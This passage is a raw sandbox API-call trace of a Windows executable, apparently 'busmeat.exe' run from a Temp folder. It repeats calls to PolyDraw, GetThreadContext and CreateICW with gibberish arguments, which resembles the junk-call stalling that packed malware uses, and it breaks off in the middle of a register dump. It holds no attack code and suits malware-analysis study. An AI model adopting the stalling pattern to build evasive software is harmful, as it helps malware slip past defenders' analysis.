	[0066.110] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.110] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.110] GetConsoleCP () returned 0x0
	[0066.110] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.110] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.111] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.111] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.111] GetConsoleCP () returned 0x0
	[0066.111] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.111] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.112] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.112] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.112] GetConsoleCP () returned 0x0
	[0066.112] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, 